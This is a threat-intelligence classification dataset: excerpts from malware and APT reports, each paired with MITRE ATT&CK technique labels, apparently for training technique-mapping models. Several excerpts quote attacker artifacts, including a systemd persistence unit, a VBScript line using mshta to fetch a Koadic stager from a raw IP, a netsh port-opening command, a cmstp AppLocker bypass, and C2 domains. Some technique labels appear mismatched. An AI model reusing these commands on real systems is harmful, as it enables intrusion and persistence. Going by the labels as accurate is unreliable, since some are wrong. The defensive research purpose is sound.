QCRI/TechniqueRAG-Datasets huggingface dataset:
Threat description: 
can use Regsvr32 to execute additional payloads.
MITRE ATT&CK techniques:
- T1218.010: System Binary Proxy Execution - Regsvr32
Threat description: 
Creates the service file /usr/lib/systemd/system/rsyncd.service [Unit]Description= synchronize and backup service.After=syslog.target [Service].ExecStart=/bin/rsyncd.OOMScoreAdjust=-500 [Install].WantedBy=multi-user.target Then it installs the service by executing the following commands: ln -s '/lib/systemd/system/rsyncd.service' '/etc/systemd/system/multi-user.target.wants /rsyncd.service' systemctl daemon-reload  The running systemd process determines, which option will be used to register the Trojan in autorun
MITRE ATT&CK techniques:
- T1007: System Service Discovery
- T1543.003: Create or Modify System Process - Windows Service
- T1021: Remote Services
- T1102: Web Service
- T1569.002: System Services - Service Execution
Threat description: 
is capable of gathering system information.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
can perform audio capture.
MITRE ATT&CK techniques:
- T1123: Audio Capture
Threat description: 
An  loader Trojan saves its payload with hidden file attributes.
MITRE ATT&CK techniques:
- T1564.001: Hide Artifacts - Hidden Files and Directories
Threat description: 
enumerates Registry keys associated with event logs.
MITRE ATT&CK techniques:
- T1012: Query Registry
Threat description: 
The majority of delivery documents contain a generic lure image requesting the victim enable macros with no additional content, the adversaries seemingly relying solely on lure filenames to entice victims to launch the malicious document
MITRE ATT&CK techniques:
- T1204: User Execution
Threat description: 
exfiltrates data to its C2 server over the same protocol as C2 communications.
MITRE ATT&CK techniques:
- T1041: Exfiltration Over C2 Channel
Threat description: 
Because of Poseidon’s longevity, there are samples targeting Windows systems as early as Windows NT 4.0 Server and Windows 95 Workstation up to current versions like Windows 8.1, as well as server variants (very important to them, given the emphasis on reaching Domain Controllers in corporate environments.) How is this different from any other targeted attack? The extortion elements of this campaign are what set it apart from others
MITRE ATT&CK techniques:
- T1010: Application Window Discovery
Threat description: 
has run ipconfig /all on a victim.
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
20 New processes The malicious svchost constantly queries ieframe.dll, as well as IWebBrowser2 Interface using CLSID dc30c1661-cdaf-11D0-8A3E-00c04fc9e26e, both key components to interact with Internet Explorer
MITRE ATT&CK techniques:
- T1055: Process Injection
Threat description: 
can remove itself from a system.
MITRE ATT&CK techniques:
- T1070.004: Indicator Removal - File Deletion
Threat description: 
deletes its payload along with the payload's parent process after it finishes copying files.
MITRE ATT&CK techniques:
- T1070.004: Indicator Removal - File Deletion
Threat description: 
has used spearphishing with links to deliver files with exploits to initial victims. The group has used embedded image tags (known as web bugs) with unique, per-recipient tracking links in their emails for the purpose of identifying which recipients opened messages.
MITRE ATT&CK techniques:
- T1598.003: Phishing for Information - Spearphishing Link
Threat description: 
uses multiple proxies to obfuscate network traffic from victims.
MITRE ATT&CK techniques:
- T1090: Proxy
Threat description: 
Group123 Links?  As we explore the Korean malware landscape, we always have burning questions relating to any possible links with Group123
MITRE ATT&CK techniques:
- T1598.003: Phishing for Information - Spearphishing Link
Threat description: 
10 Ensuring the files have been downloaded After the malware is downloaded and files verified, the script will check in the C:\Program Files\ directory for the presence Avast antivirus, which happens to be the most common installed AV worldwide
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
- T1105: Ingress Tool Transfer
Threat description: 
Kaspersky Lab products detect the malware used by Poseidon Group with the following detection names: Backdoor.Win32.Nhopro HEUR:Backdoor.Win32.Nhopro.gen HEUR:Hacktool.Win32.Nhopro.gen How many victims have you found? At least 35 victim companies have been identified with primary targets including financial and government institutions, telecommunications, manufacturing, energy and other service utility companies, as well as media and public relations firms
MITRE ATT&CK techniques:
- T1070.004: Indicator Removal - File Deletion
Threat description: 
malware can use cmd.exe to download and execute payloads and to execute commands on the system.
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
This strangeness was related to values listed in newer BlackEnergy configuration files
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
used HTTP for C2 communications.  also used an HTTP malware variant to communicate over HTTP for C2.
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
25 26 ix32.dll ix64.dll LoadLibrary call template dll is used by Reinstaller/Injector plugin (rsXX.dll) for injecting LoadLibrary call into running processes
MITRE ATT&CK techniques:
- T1055: Process Injection
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: 
The Trojan will respond to the C2 with “PRIVMSG <username> : <message> [<specified path>]”
MITRE ATT&CK techniques:
- T1033: System Owner/User Discovery
Threat description: 
communicates with its C2 domain over ports 443 and 8443.
MITRE ATT&CK techniques:
- T1043: Commonly Used Port
Threat description: 
enables concurrent Remote Desktop Protocol (RDP).
MITRE ATT&CK techniques:
- T1021.001: Remote Services - Remote Desktop Protocol
Threat description: 
backdoor RoyalDNS established persistence through adding a service called Nwsapagent.
MITRE ATT&CK techniques:
- T1543.003: Create or Modify System Process - Windows Service
Threat description: 
contains a command to list processes.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
has been known to side load DLLs with a valid version of Chrome with one of their tools.
MITRE ATT&CK techniques:
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: 
, a tool that has been used by adversaries, writes programs to the ADMIN$ network share to execute commands on remote systems.
MITRE ATT&CK techniques:
- T1021.002: Remote Services - SMB/Windows Admin Shares
Threat description: 
The "Blackwater.bas" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer.
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
steals user files from removable media with file extensions and keywords that match a predefined list.
MITRE ATT&CK techniques:
- T1025: Data from Removable Media
Threat description: 
An  downloader establishes SOCKS5 connections to two separate IP addresses over TCP port 1913 and TCP port 81.
MITRE ATT&CK techniques:
- T1571: Non-Standard Port
Threat description: 
has lured users to click links to malicious HTML applications delivered via spearphishing emails.
MITRE ATT&CK techniques:
- T1204: User Execution
Threat description: 
The unique strings mainly consist of “Mobile/BADDAD“, “Mobile/7B405” and “E9BC3BD76216AFA560BFB5ACAF5731A3”
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
has used CVE-2016-7255 to escalate privileges.
MITRE ATT&CK techniques:
- T1068: Exploitation for Privilege Escalation
Threat description: 
can be used to discover routing configuration information.
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
has used  to gather the OS version, as well as information on the system configuration, BIOS, the motherboard, and the processor.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
creates a file named thumb.dd on all USB flash drives connected to the victim. This file contains information about the infected system and activity logs.
MITRE ATT&CK techniques:
- T1052: Exfiltration Over Physical Medium
Threat description: 
is capable of capturing video.
MITRE ATT&CK techniques:
- T1125: Video Capture
Threat description: 
collects the username from the victim.
MITRE ATT&CK techniques:
- T1033: System Owner/User Discovery
Threat description: 
Socks5 Proxy Zyklon features the ability to establish a reverse Socks5 proxy server on infected host machines
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
- T1090: Proxy
Threat description: 
enumerates registry keys with the command regkeyenum and obtains information for the Registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
MITRE ATT&CK techniques:
- T1012: Query Registry
Threat description: 
The results are Gzipped and saved under random file in the temp folder.
MITRE ATT&CK techniques:
- T1560: Archive Collected Data
Threat description: 
!ExeCuteFile Executes a specified file using ShellExecuteA   !DeleteFileFolder Deletes a file or a folder   !SendkeyLogToServer Uploads the %TEMP%\Save.tmp file to the C2 server   !DeleteKeyloggerLog Deletes the %TEMP%\Save.tmp file on the system    Table 2 Commands available within MPK IRC Bot   The post Magic Hound Campaign Attacks Saudi Targets appeared first on Palo Alto Networks Blog
MITRE ATT&CK techniques:
- T1070.004: Indicator Removal - File Deletion
- T1074: Data Staged
Threat description: 
has the capability to upload and download files to the victim's machine.
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
GET /<string>/<5 digit number>/<4 character string>.php?<first 3 characters of last string>_id=<43 character string>= HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Host: <C2 Location> Cache-Control: no-cache    Figure 6: Sample GET request for WATERSPOUT backdoor Although there are no current infrastructure ties to link this backdoor to APT12, there are several data points that show a possible tie to the same actors:  Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting CVE-2012-0158
MITRE ATT&CK techniques:
- T1010: Application Window Discovery
- T1008: Fallback Channels
Threat description: 
After running the malware, the batch script goes on to cleans up all signs of its existence on the system, this includes:  Deletion of all initial files created during installation, as well as all associated files required on disk during initial execution
MITRE ATT&CK techniques:
- T1070.004: Indicator Removal - File Deletion
Threat description: 
Obfuscation While the downloader module is not packed, the backdoor is packed with a modified version of UPX
MITRE ATT&CK techniques:
- T1027.002: Obfuscated Files or Information - Software Packing
Threat description: 
Attack chain of Tropic Trooper’s operations Here’s a summary of the attack chain of Tropic Trooper’s recent campaigns:  Execute a command through exploits for CVE-2017-11882 or CVE-2018-0802, security flaws in Microsoft Office’s Equation Editor (EQNEDT32.EXE)
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
Threat description: 
downloads another dropper from its C2 server.
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
can obtain a list of users.
MITRE ATT&CK techniques:
- T1087: Account Discovery
Threat description: 
It then uses the base64 encoding function with this alphabet to encode the data, which in the above case resulted in: D-7Ig1ngV3PkdouzP974 The Trojan then creates a string of 9 random symbols and appends the encoded ciphertext to this random string
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1027: Obfuscated Files or Information
- T1132: Data Encoding
Threat description: 
Malware used by  is capable of watching the victim's screen.
MITRE ATT&CK techniques:
- T1113: Screen Capture
Threat description: 
uses the command cmd.exe /c netsh firewall add portopening TCP 443 "adp" and makes the victim machine function as a proxy server.
MITRE ATT&CK techniques:
- T1090: Proxy
Threat description: 
has used net use to conduct connectivity checks to machines.
MITRE ATT&CK techniques:
- T1049: System Network Connections Discovery
Threat description: 
The credentials appear to have been stolen via multiple techniques, including using post-exploition password recovery tools such as MimiKatz or its variant ZhuMimiKatz
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
The keylogger will monitor for active application windows and write them to the log in the following format: <span class=’keylog_process’>[Application Name]</span> The keylogger will log a configurable amount of keystrokes (default 50) before sending the log to the C2 server using the following format: <span class=’keylog_user_keys’>[logged keystrokes]</span> The keylogger can handle logging special keys, such as return and the function keys and will report those within the log in the following format; <span class=’keylog_spec_key’>[special character]</span> Infrastructure The XAgentOSX sample we analyzed was configured to use the following IP address and domain names as its C2 servers: 23.227.196[.]215 apple-iclods[.]org apple-checker[.]org apple-uptoday[.]org apple-search[.]info When we analyzed this sample, the domain names that were used as backup C2 locations were not registered; therefore, these domains did not provide any links to additional infrastructure
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1056: Input Capture
Threat description: 
extracts basic information about the operating system.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
has used spearphishing with a link to trick victims into clicking on a link to a zip file containing malicious files.
MITRE ATT&CK techniques:
- T1598.003: Phishing for Information - Spearphishing Link
Threat description: 
Verifies that there is no process with the name “rsyncd” on the active process list (“dbus-inotifier” if the Trojan does not have root privileges)
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
enumerates all running processes.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
gathers information on victim’s drives and has a plugin for document listing.
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
The C2 server used by  provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.
MITRE ATT&CK techniques:
- T1008: Fallback Channels
Threat description: 
For C2 over HTTP,  encodes data with base64 and sends it via the "Cookie" field of HTTP requests. For C2 over DNS,  converts ASCII characters into their hexadecimal values and sends the data in cleartext.
MITRE ATT&CK techniques:
- T1132: Data Encoding
Threat description: 
has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector.
MITRE ATT&CK techniques:
- T1189: Drive-by Compromise
Threat description: 
In each iteration of the communications loop, the Trojan will check to see if the modification time of the first file changed, and if it is not updated the Trojan will update the second file by writing the string b<unique identifier>c<5 random lowercase characters>.<C2 domain> to the file by creating an HTTP POST request to a URL structured as follows: <Google Drive URL in ‘gdue’> + <second file identifier> + “?supportsTeamDrive=true&uploadType=resumable&fields=kind,id,name,mimeType,parents” In one RogueRobin sample (SHA256: f1b2bc0831…), the author did not use the Google Drive URL provided by the actor when issuing the x_mode command, and instead included a  hardcoded Google Drive URL, as seen in Figure 6
MITRE ATT&CK techniques:
- T1102: Web Service
- T1105: Ingress Tool Transfer
Threat description: 
collects information about the Internet adapter configuration.
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
has encrypted its payload with RC4.
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
steals credentials stored inside Internet Explorer.
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable .
MITRE ATT&CK techniques:
- T1221: Template Injection
Threat description: 
If the <flag> field of the message header is greater than one, the XOR key used to encrypt message bodies is iterated in reverse when encrypting and decrypting messages
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: 
saves information from its keylogging routine as a .zip file in the present working directory.
MITRE ATT&CK techniques:
- T1074: Data Staged
Threat description: 
FIN6 conducted internal reconnaissance with a Windows batch file leveraging Adfind to query Active Directory, then 7-zip to compress the results for exfiltration
MITRE ATT&CK techniques:
- T1018: Remote System Discovery
- T1069: Permission Groups Discovery
Threat description: 
When it first starts,  spawns a new thread to log keystrokes.
MITRE ATT&CK techniques:
- T1056: Input Capture
Threat description: 
regularly deploys both publicly available and custom password retrieval tools on victims.
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
(Source: SecureWorks) Some payloads leveraged DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL
MITRE ATT&CK techniques:
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: 
Backdoor analysis The main loop of the backdoor has two main functions, infoClient and runHandle
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
has the ability to obtain a victim's system name and operating system version.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
used TCP port 80 for C2.
MITRE ATT&CK techniques:
- T1043: Commonly Used Port
Threat description: 
The executable version of  has a module to log clipboard contents.
MITRE ATT&CK techniques:
- T1115: Clipboard Data
Threat description: 
takes periodic screenshots and exfiltrates them.
MITRE ATT&CK techniques:
- T1113: Screen Capture
Threat description: 
The Visual Basic macro performs the following tasks:  Opens a handle to the malicious document to read the encoded CAB file Decodes the CAB file and writes it to the disk at %temp%\setup.cab   Encoded CAB file in the Word document
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
The XSL script contains additional hard coded variables sVarRaz and sVar2RazX, which contain file paths that direct to the downloaded files.   The file’s path
MITRE ATT&CK techniques:
- T1105: Ingress Tool Transfer
Threat description: 
has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
collects the victim username and sends it to the C2 server.
MITRE ATT&CK techniques:
- T1033: System Owner/User Discovery
Threat description: 
searches through connected drives for removable storage devices.
MITRE ATT&CK techniques:
- T1120: Peripheral Device Discovery
Threat description: 
strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm.
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
has used command-line interfaces for execution.
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
Get-MicrophoneAudio Exfiltration module can record system microphone audio.
MITRE ATT&CK techniques:
- T1123: Audio Capture
Threat description: 
APT40 has been observed consolidating files acquired from victim networks and using the archival tool rar.exe to compress and encrypt the data before exfiltration
MITRE ATT&CK techniques:
- T1560: Archive Collected Data
Threat description: 
The ‘Company’ field in this case, contains the raw command that the attacker wishes to run, downloading and executing the next stage of the malware. Delivery via HTA Loader. In this case the attackers sent an HTML Application file (.hta) to targets most likely as an email attachment
MITRE ATT&CK techniques:
- T1053.005: Scheduled Task/Job - Scheduled Task
- T1106: Native API
- T1010: Application Window Discovery
- T1074: Data Staged
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
Based on dynamic and static analysis of the malware sample associated with the supservermgr[.]com domain however, we were able to determine several unique artifacts which allowed us to expand our dataset and discover additional findings
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
leverages a known zero-day vulnerability in Adobe Flash to execute the implant into the victims’ machines.
MITRE ATT&CK techniques:
- T1203: Exploitation for Client Execution
Threat description: 
has the ability to enumerate files and drives.
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.
MITRE ATT&CK techniques:
- T1070.004: Indicator Removal - File Deletion
Threat description: 
uses  to perform remote service manipulation to execute a copy of itself as part of lateral movement.
MITRE ATT&CK techniques:
- T1569.002: System Services - Service Execution
Threat description: 
uses RC4 to encrypt C2 responses.
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: 
The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext:       set objshell = createobject(\"wscript.shell\")objshell.run \"mshta hxxp://86.106.131.177:6500/zIZFh\",vbhide     The Koadic C2 server will respond to this request with Javascript code that acts as the Koadic staging payload, which allows the actor to run additional Koadic modules on the end system to carry out their post-exploitation activities
MITRE ATT&CK techniques:
- T1547.001: Boot or Logon Autostart Execution - Registry Run Keys / Startup Folder
Threat description: 
base64 encodes strings that are sent to the C2 over its DNS tunnel.
MITRE ATT&CK techniques:
- T1001: Data Obfuscation
Threat description: 
Also, the use of the  mimikatz and pwdump tools suggests the adversary attempts to dump credentials on compromised systems
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
A  tool can create a new Registry key under HKEY_CURRENT_USER\Software\Classes\.
MITRE ATT&CK techniques:
- T1112: Modify Registry
Threat description: 
has targeted manufacturers in the supply chain for the defense industry.
MITRE ATT&CK techniques:
- T1195: Supply Chain Compromise
Threat description: 
The file, named Microsoft.Win32.TaskScheduler.dll, is digitally signed by a certificate from AirVPN
MITRE ATT&CK techniques:
- T1553.002: Subvert Trust Controls - Code Signing
Threat description: 
delets all artifacts associated with the malware from the infected machine.
MITRE ATT&CK techniques:
- T1070: Indicator Removal
Threat description: 
has a command to create Registry entries for storing data under HKEY_CURRENT_USER\SOFTWARE\Microsoft\WABE\DataPath.
MITRE ATT&CK techniques:
- T1112: Modify Registry
Threat description: 
FInally , the newest sample uses dynamic API lookups to attempt to make static disassembly harder to understand.
MITRE ATT&CK techniques:
- T1106: Native API
Threat description: 
Stage 1 sample file: 3amadi_hamas.zip MD5: e686ffa90b2bfb567547f1c0dad1ae0b Type: Compressed container Child file/lure name: محضر اجتماع العمادي مع هنية رئيس حماس امس الاحد .exe Child file/lure MD5: 92dd0f16e8ae274d83ba1d0d5b2e342  This sample ZIP file, which is similar to many other stage 1 downloaders in this campaign, contains an executable that is a compiled AutoIt script and which embeds some interesting functions (listed in the table below)
MITRE ATT&CK techniques:
- T1036: Masquerading
- T1083: File and Directory Discovery
- T1074: Data Staged
Threat description: 
gathers information on the system and local drives.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
can collect system information, including computer name, system manufacturer, IsDebuggerPresent state, and execution path.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
- T1082: System Information Discovery
Threat description: 
provides command-line access to the compromised system.
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
looked for a specific process running on infected servers.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
used net use commands to connect to lateral systems within a network.
MITRE ATT&CK techniques:
- T1021.002: Remote Services - SMB/Windows Admin Shares
Threat description: 
obtains a build identifier as well as victim hard drive information from Windows registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum. Another  variant gathers the victim storage volume serial number and the storage device name.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
After decoding out the blob, analysts found a PowerShell script.
MITRE ATT&CK techniques:
- T1546.013: Event Triggered Execution - PowerShell Profile
- T1059.001: Command and Scripting Interpreter - PowerShell
Threat description: 
It has the following command line argument help: info  <Server/Domain> [options] [options]:   -d Domain   -o OsInfo   -t TsInfo   -n NetuseInfo   -s ShareInfo ShareDir   -c Connect Test   -a Local And Global Group User Info   -l Local Group User Info   -g Global Group User Info   -ga Group Administrators   -gp Group Power Users   -gd Group Domain Admins   -f <infile> //input server list from infile, OneServerOneLine info <\\server> <user> ChromePass: A tool from NirSoft used for recovering passwords stored in the Chrome browser
MITRE ATT&CK techniques:
- T1069: Permission Groups Discovery
- T1087: Account Discovery
Threat description: 
Whitefly first infects its victims using a dropper in the form of a malicious .exe or .dll file that is disguised as a document or image.
MITRE ATT&CK techniques:
- T1204: User Execution
Threat description: 
is used for proxying connections to obfuscate command and control infrastructure.
MITRE ATT&CK techniques:
- T1090: Proxy
Threat description: 
The threat actors used the appcmd command-line tool to unlock and disable the default logging component on the server (systsm.webServer/httplogging) and then delete existing logs from the system (see Figure 4)
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
Initially, the key is sent to the C2 server with the entire message and headers encrypted with the RSA key exchange algorithm
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
Threat description: 
malware can download a remote access tool, NanoCore, and inject into another process.
MITRE ATT&CK techniques:
- T1055: Process Injection
Threat description: 
has used DLL side-loading to launch versions of Mimikatz and PwDump6 as well as .
MITRE ATT&CK techniques:
- T1574.002: Hijack Execution Flow - DLL Side-Loading
Threat description: 
has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList {42aedc87-2188-41fd-b9a3-0c966feabec1} or Microsoft WBEM New Event Subsystem {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} depending on the system's CPU architecture.
MITRE ATT&CK techniques:
- T1546.015: Event Triggered Execution - Component Object Model Hijacking
Threat description: 
Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
- T1008: Fallback Channels
Threat description: 
Once Shellex is called, it first passes each of the items in the config buffer to their own strings.  Next, it creates a mutex using the filename and checks to see if the Service key for the service name exists.  If so, it opens it using service manager.  If not, it first saves a copy of itself to %Program Files (x86)%/DIFXE/svchost.exe.  Next, it creates the service and runs it.  Once the service is running, it creates a new mutex using [C2URL]:[PORT] and connects to the C2 server.  It then sends the Implant_Heartbeat opcode, and then calls its payload function to grab  Version Information (x86 and x64) Host information SystemInfo Processor Count and Write Speed Global Memory Status  before formatting it, altering the InstallTime subkey, and sending all of the information back to its C2 in the Implant_Login buffer
MITRE ATT&CK techniques:
- T1082: System Information Discovery
- T1543.003: Create or Modify System Process - Windows Service
- T1569.002: System Services - Service Execution
Threat description: 
can enumerate files and directories.
MITRE ATT&CK techniques:
- T1083: File and Directory Discovery
Threat description: 
gathers and beacons the MAC and IP addresses during installation.
MITRE ATT&CK techniques:
- T1016: System Network Configuration Discovery
Threat description: 
The tool would connect to the SQL SharePoint database and issue a query to dump all data from the database to a temporary file affixed with 'spdata'
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
The emails had a malicious Excel macro document attached, which when executed led to a new Microsoft Visual Basic (VB) script-based malware family which we are dubbing “BabyShark”
MITRE ATT&CK techniques:
- T1598.002: Phishing for Information - Spearphishing Attachment
Threat description: 
creates a backdoor through which remote attackers can retrieve information such as computer name, OS version, processor speed, memory size, and CPU speed.
MITRE ATT&CK techniques:
- T1082: System Information Discovery
Threat description: 
saves itself with a leading "." to make it a hidden file.
MITRE ATT&CK techniques:
- T1564.001: Hide Artifacts - Hidden Files and Directories
Threat description: 
To obtain strings to treat as commands, the payload will issue a series of DNS queries to resolve domains with the following structure: <system id>-<job ID>-<offset data specific to job>.<c2 domain> The C2 server will provide responses to these queries that contain answers in IPv4 or IPv6 addresses depending on the type of DNS query the payload uses to communicate with its C2 server
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
Vault was implemented in Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
In addition to these tools, we believe OilRig attackers obtained credentials through, bruteforcing, SQL injections, and using traditional credential harvesting toolkits as we discussed in the Striking Oil blog published in September 2017
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
Traps provides endpoint protection, as it can block Excel from creating a command prompt process
MITRE ATT&CK techniques:
- T1059: Command and Scripting Interpreter
Threat description: 
This shortcut file points to the path of the previously written ‘winhelp.cpl’ file
MITRE ATT&CK techniques:
- T1547.009: Boot or Logon Autostart Execution - Shortcut Modification
Threat description: 
has the capability to obtain the time zone information and current timestamp of the victim’s machine.
MITRE ATT&CK techniques:
- T1124: System Time Discovery
Threat description: 
exfiltrates files over FTP.
MITRE ATT&CK techniques:
- T1048: Exfiltration Over Alternative Protocol
Threat description: 
If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
The DLL is also digitally signed by a certificate from “AirVPN”
MITRE ATT&CK techniques:
- T1553.002: Subvert Trust Controls - Code Signing
Threat description: 
can be configured to only run during normal working hours, which would make its communications harder to distinguish from normal traffic.
MITRE ATT&CK techniques:
- T1029: Scheduled Transfer
Threat description: 
actors installed a credential logger on Microsoft Exchange servers.  also leveraged the reconnaissance framework, ScanBox, to capture keystrokes.
MITRE ATT&CK techniques:
- T1056: Input Capture
Threat description: 
Organizations that Buckeye targeted over time, per region Malware and tools Buckeye uses a number of hacking tools as well as malware
MITRE ATT&CK techniques:
- T1518.001: Software Discovery - Security Software Discovery
Threat description: 
has obfuscated a script with Crypto Obfuscator.
MITRE ATT&CK techniques:
- T1027: Obfuscated Files or Information
Threat description: 
actors used the following command following exploitation of a machine with  malware to list local groups: net localgroup administrator >> %temp%\download
MITRE ATT&CK techniques:
- T1069: Permission Groups Discovery
Threat description: 
The attacker leveraged multiple exploits, targeting both CVE-2014-6332 and CVE-2014-4113
MITRE ATT&CK techniques:
- T1068: Exploitation for Privilege Escalation
Threat description: 
A  variant registers as a Winlogon Event Notify DLL to establish persistence.
MITRE ATT&CK techniques:
- T1547.004: Boot or Logon Autostart Execution - Winlogon Helper DLL
Threat description: 
collects a list of running services with the command tasklist /v.
MITRE ATT&CK techniques:
- T1057: Process Discovery
Threat description: 
used a valid AppleDeveloperID to sign the code to get past security restrictions.
MITRE ATT&CK techniques:
- T1553.002: Subvert Trust Controls - Code Signing
Threat description: 
We are unable to confirm if all of these stolen credentials are indeed valid sets of credentials, but based upon previously observed activity, timestamping, and known behaviors, it is highly probable that these credentials were or may still be valid
MITRE ATT&CK techniques:
- T1003: OS Credential Dumping
Threat description: 
has used both HTTP and HTTPS for C2.
MITRE ATT&CK techniques:
- T1071: Application Layer Protocol
Threat description: 
Figure 12: DrAGon_MidDLe stores the list of proxy URLs used to interact with C2 server Section 2 The second section of the PowerShell script has the ability to perform encryption and decryption of messages that are exchanged between the system and the C2 server
MITRE ATT&CK techniques:
- T1573: Encrypted Channel
- T1090: Proxy
Threat description: 
This function is able to obfuscate code so that every iteration of the code is presented differently
MITRE ATT&CK techniques:
- T1140: Deobfuscate/Decode Files or Information
Threat description: 
uploads files from a specified directory to the C2 server.
MITRE ATT&CK techniques:
- T1005: Data from Local System
Threat description: 
Additionally, the first stage JavaScript creates a scheduled task that executes the second stage code within a minute – this delayed execution helps to bypass behavior analysis since the second stage is not directly executed by the first stage
MITRE ATT&CK techniques:
- T1053.005: Scheduled Task/Job - Scheduled Task
- T1074: Data Staged
- T1064: Scripting
- T1027: Obfuscated Files or Information
Threat description: 
A  variant can use port 127 for communications.
MITRE ATT&CK techniques:
- T1571: Non-Standard Port
Threat description: 
Subscriptions consist of three core WMI classes: a Filter, a Consumer, and a FilterToConsumerBinding
MITRE ATT&CK techniques:
- T1047: Windows Management Instrumentation
Threat description: 
has used the command cmstp.exe /s /ns C:\Users\ADMINI~W\AppData\Local\Temp\XKNqbpzl.txt to bypass AppLocker and launch a malicious script.
MITRE ATT&CK techniques:
- T1218.003: System Binary Proxy Execution - CMSTP
Threat description: 
XAgent C2 Communications The macOS variant of XAgent has ability to receive commands from threat actors via its command and control channel, but is also capable of logging key strokes via its keylogger functionality
MITRE ATT&CK techniques:
- T1056: Input Capture
Threat description: 
For example, we can see it will inject itself to one these three processes:  %ProgramFiles(x86)%\Sophos\AutoUpdate\ALUpdate.exe %ProgramFiles(x86)%\Common Files\Java\Java Update\jusched.exe %ProgramFiles(x86)%\Common Files\Adobe\ARM\1.0\armsvc.exe  The attempt to inject itself into a process belonging to antivirus product suite is particularly bold
MITRE ATT&CK techniques:
- T1036: Masquerading
- T1055: Process Injection
Threat description: 
When the  command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.
MITRE ATT&CK techniques:
- T1001: Data Obfuscation
Threat description: 
